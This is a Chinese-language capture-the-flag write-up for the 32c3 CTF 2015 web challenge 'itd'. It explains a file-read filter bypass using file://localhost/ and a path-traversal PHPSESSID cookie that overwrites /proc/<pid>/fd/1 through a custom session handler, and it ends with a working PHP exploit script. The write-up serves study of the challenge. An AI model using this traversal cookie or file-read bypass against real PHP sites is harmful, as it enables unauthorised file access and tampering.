[web]32c3_itd

0x00 性质

  • 日常练习

0x01 题目

  • 32c3_ctf_2015 web题 itd
  • 分数 150分 解出人数 11

0x02 解题思路

进入题目,自动跳转至posts目录下,目录名字猜测为发表文章处,有个read more,点一下看看

可以看到,p参数这里应有文件操作,我们尝试p=index.php

果然,看到了代码,审计一下,发现过滤了许多东西,比如../,意味我们不能使用../查看根目录下的index.php(因为我们发现有自动跳转,想查看根目录下的index.php的代码),又发现过滤了file:///,但是没有过滤file://,那么我们可以使用file://localhost/绕过该过滤

发现页面跳转原因,直接访问该目录,并使用p参数存在的文件查看漏洞查看源代码

下面三图分别是index.php,session.php,main.c的源码

  • 注意审计关键文件index.php

以下为关键代码,满足前面简单的要求后需要满足以下条件

1
2
3
$ret = shell_exec('./main ' . md5($key));
if(preg_match('/LOOSE/',$ret))
get flag

接下来我们跟进到main这个文件中审计代码,关键代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
if( (in=fopen("Xqefkm.txt","rt")) != NULL){
fgets(c,33,in);
}else{
printf("LOOSE");
exit(1);
}
fclose(in);
printf("%s\n",c);
for(i=0;i < 32;i++){
result |= p[i] ^ c[i];
}
……
if(result ==0):
printf("WIN");
else:
prinf("LOOSE");

// 从Xqefkm.txt文件中读取32个字符与md5($key)每一位进行异或运算,再进行或运算,如果结果为0,则可以输出flag;
  • 初步判断难以达成条件,只能寻求别的方法绕过这里的LOOSE输出

注意到我们还有一个文件并未进行分析:session.php,分析其中的关键代码

1
2
3
4
5
6
7
function write($id, $data)
{
return file_put_contents("$this->savePath/sess_$id", $data) === false ? false : true;
}
/* session文件自定义了一个用户会话存储函数,并注册
* 自定义的函数 存在写入文件的漏洞,但写入数据不可控(sess_$id即PHPSESSID)
*/

让我们捋一下现在的条件:

  1. 让$ret的值中不包含LOOSE,且通过main处理必定会出LOOSE
  2. 的用户会话存储函数存在写入文件的漏洞,我们可控制写入的文件,但不能控制写入内容

==> 考虑是否可以通过该漏洞写入到某文件从而覆盖掉$ret的值,使其不包含LOOSE字符串

我们知道 当执行一个shell命令行时通常会自动打开三个标准文件,即标准输入文件(stdin),通常对应终端的键盘;标准输出文件(stdout)和标准错误输出文件(stderr),这两个文件都对应终端的屏幕。进程将从标准输入文件中得到输入数据,将正常输出数据输出到标准输出文件,而将错误信息送到标准错误文件中。
这三个文件分别在 /proc/$pid/fd/0|1|2 中

这样一来,我们可以通过该漏洞,将shell_exec执行命令时打开的标准输出文件给覆盖掉,即可以绕过LOOSE。至于$pid的获取,我们可以首先通过/proc/loadavg获取当前最大pid,然后设置目标pid+n皆可(或者穷举亦可,localhost测试可以设置n=1)

0x03 POC

POC思路:

  1. 获取pid+n
  2. 直接访问看是否成功
  3. 设置session覆盖
  4. 循环直至获得flag
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    <?php
    /*
    ** 32c3-ITD exploit
    ** run with:
    ** while true; do php itdpen.php; done
    ** ( yeah php :> )
    ** @fearg0t
    */
    $pid = file_get_contents('http://127.0.0.1/32c3_itd150/posts/?p=file://localhost/proc/loadavg');
    preg_match('/[0-9]+\/[0-9]+ ([0-9]+)/',$pid,$m);
    $pid = intval($m[1])+6;
    echo '.';
    $p = pcntl_fork();
    if ($p == -1) {
    die('could not fork');
    }
    else if ($p)
    {
    pcntl_fork();
    $result = file_get_contents('http://127.0.0.1/32c3_itd150/Ube3rS4xureAdmin/?act=get&key=123123');
    if(preg_match('/flag/',$result,$m) === 1){
    echo "\n";
    echo $result;
    echo "Ctrl-c";
    }
    }
    else
    {
    $opts = array(
    'http'=>array(
    'method'=>"GET",
    'header'=>"Accept-language: en\r\n" .
    "Cookie: PHPSESSID=/../../../../../../../../../../../proc/".$pid."/fd/1\r\n"
    )
    );
    // usleep(500);
    $context = stream_context_create($opts);
    $file = file_get_contents('http://127.0.0.1/32c3_itd150/Ube3rS4xureAdmin/?lang=X', false, $context);
    }

0%